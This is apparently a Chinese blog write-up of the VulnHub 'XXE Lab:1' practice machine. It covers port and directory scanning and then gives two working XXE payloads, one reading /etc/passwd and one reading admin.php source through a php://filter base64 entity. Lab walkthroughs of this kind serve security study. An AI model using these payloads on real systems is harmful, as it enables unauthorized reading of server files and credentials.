vulnhub-XXE Lab:1

发表于 2022-06-03 更新于 2022-06-07 分类于打靶阅读次数：

环境

项目地址:https://www.vulnhub.com/entry/xxe-lab-1,254/
攻击机 kali:172.16.17.140
靶机:172.16.17.141

信息收集

nmap扫一下,只开了80端口应该是这个

详细扫描

robots.txt存在两个禁止爬取的目录

admin.php无法访问

XXE目录直接跳转到一个登录页面

扫描一下目录

扫出来的目录都在xxe下面

fuzz

对功能点进行测试 /xxe
xxe,登录点抓包

使用xml传递数据,结合靶场名字,此处应该存在xml实体注入

构造payload

存在xml注入漏洞,但是通过需要找到flag

<?xml version="1.0" ?> <!DOCTYPE r 
        [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "file:///etc/passwd"> 
                ]> 
<root><name>&sp;</name><password>hj</password></root>

构造伪协议读取/admin.php
base64编码防止php代码被执行

<?xml version="1.0" ?> <!DOCTYPE r [ 
        <!ELEMENT r ANY > <!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php"> 
        ]> 
<root><name>&sp;</name><password>hj</password></root>